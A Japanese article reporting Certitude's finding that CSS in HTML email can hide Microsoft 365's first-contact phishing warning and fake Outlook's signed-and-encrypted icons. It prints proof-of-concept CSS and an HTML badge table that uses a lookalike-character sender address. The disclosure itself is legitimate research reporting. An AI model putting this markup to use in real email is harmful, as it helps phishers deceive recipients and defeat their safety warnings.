Microsoft365 のフィッシング対策機能はCSSで回避可能

Microsoft365 のフィッシング対策機能はCSSで回避可能

海外のセキュリティ企業「Certitude」の調査によって、Microsoft 365(旧Office 365)が採用しているフィッシング対策を回避できる問題を指摘しました。なお、本指摘事項についてMicrosoft(マイクロソフト)へ報告しましたが、同社は現時点ではこれに対処しないと回答しています。

Microsoft Defenderの様々なフィッシング対策

Outlookユーザーが普段やり取りしないアドレスからメールを受け取ると、Outlookは「あなたは通常、xyz@example.comからメールを受信しません。これが重要である理由を確認してください」という警告文(アラート)を表示します

この機能をMicrosoftは「First Contact Safety Tip」と呼び、これはExchange Online Protection(EOP)およびMicrosoft 365(旧Office 365)を使用している組織向けのMicrosoft Defenderの様々なフィッシング対策の一つです。

※画像左上と文章上部のYou don’t often get emailと表示される部分がフィッシングメール対策で表示される警告文

First Contact Safety Tip HTML メールの本文の先頭に追加されるため、

CSSを操作しアラート文を隠す

概念実証として、ユーザーからFirst Contact Safety Tipを「隠す」HTMLメールを示しましょう。

display: none、height: 0px、opacity: 0のような一般的なCSSルールをテーブル自体に適用しても機能しません(これは要素内のインラインCSSのためか、Outlookのレンダリングエンジンのサポートの欠如によるものかもしれません)が、

<head>
</head>
<head>
    <style>
        a {
            display: none;
        }
        td div {
            color: white;
            font-size: 0px;
        }
        table tbody tr td {
            background-color: white !important;
            color: white !important;
        }
    </style>
</head>

...[SNIP]...

CSSを操作しMicrosoft Outlookのアイコンを偽装する

次はMicrosoft Outlook(マイクロソフト アウトルック) が暗号化または署名された電子メールに追加するアイコンを偽装することができます。

...[SNIP]...
        #mainTable {
            width: 100%;
            z-index: 1;
            margin-bottom: 1em;
        }
        #signedBy {
            font-size: 0.9em;
        }
        .badge {
            width: 2.8em;
            text-align: right;
        }
    </style>
</head>
<table id="mainTable">
    <tr>
        <td id="signedBy" style="color:#666 !important;">
            Signed By   nimmerrichtermarc@gmail․com
        </td>
        <td class="badge">
            <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAQCAYAAADAvYV+AAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA80lEQVQoFWNgIAEwIqu9u6fn/8uLGxl+fn7JwM4rziBtFsMgb5sOVwNnXFyS/P/Dg9MMYjpeDHwyBgyfnlxgeHVlG5ivGdABV8fw9vah//sb1P4/Obn4P7JNID5I/MvLm2BxJpDkpyfnwWqEVGyR1TIIqzmA+Z+eXgLTYMW/vr4Dc7iEFRDWAUU4BWXB/P9/f4PlGc/OCf8PMxksgoPgkzFkYCJGIUg/SB3YGciGKToVMDg23GIE0egAQ7GMeTxYDYxG1oCh+MnJhWB5GI1X8f19E8DyMBqvYmRJdDYjKIbQBXHxmSQMgnDJoYgr2Gej8AlyAAq1UqzJ9H01AAAAAElFTkSuQmCC"/>
        </td>
        <td class="badge">
            <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAQCAYAAAArij59AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABaklEQVQoFWNkAILfb1/+f7mon+HbjQsMjExMDJwaBgziMfkMrMLijIw/Ht/9/6AmkeHfty8gtXDAzCfIoNSzkoE5XYq14eeDWwysYtIM0rktDHxWbgzfb15k+PP+DRC/ZmD6eukkWJd4QjEDr7EtI5+pA6NYXCFYDCTHxAC0Ewz+/YPQSCTIPSw8ehYMn07sYXi5oIfh3c7V////+c3wcl4XWBmPkS0D48+nD4COTGD4++UTkl4GBhYBYbAjGUGiIG++WjYF7k0uLWMGsagcBhZ+IUaGPx/f/f+wf9P/Xy+e/IcZ8fPJ/f/v96z7//fr5/+Mn04f+P+kqwgmh0LLN81lYPrz5gWKIDLn96unDEw/nz1EFkNh/wZqhpvAyMbOIFPWxyBd0M7AyMIKVvjrxWMGFhABEgBJgEIRJPPx6M7/TydVM/x+9YyB4Uaszf+Ph7fDfQCzAxRot7N9/zO83bwYQxKm6NXyqf8BbdGbs1P6sYsAAAAASUVORK5CYII="/>
        </td>
    </tr>
</table>

警告文を消去し認証アイコンを表示する

ここで注意すべき点は、「Signed By nimmerrichtermarc@gmail.com」「.」文字は、

実際には Unicode 文字U+2024であり、通常のピリオドではない」という点です。

このリンクは、偽装しようとしている元のテキストとは明らかに異なって見えます。

実際に署名され暗号化された電子メールと比較すると、注意深いユーザーであればフォーマットの違いに気づくでしょうが、気づかないユーザーもいます。

フィッシング攻撃に引っかかる人が 1 人いるだけで、敵対者が組織内に足がかりを築くことができます。

引用

Exploring Anti-Phishing Measures in Microsoft 365

TOPへ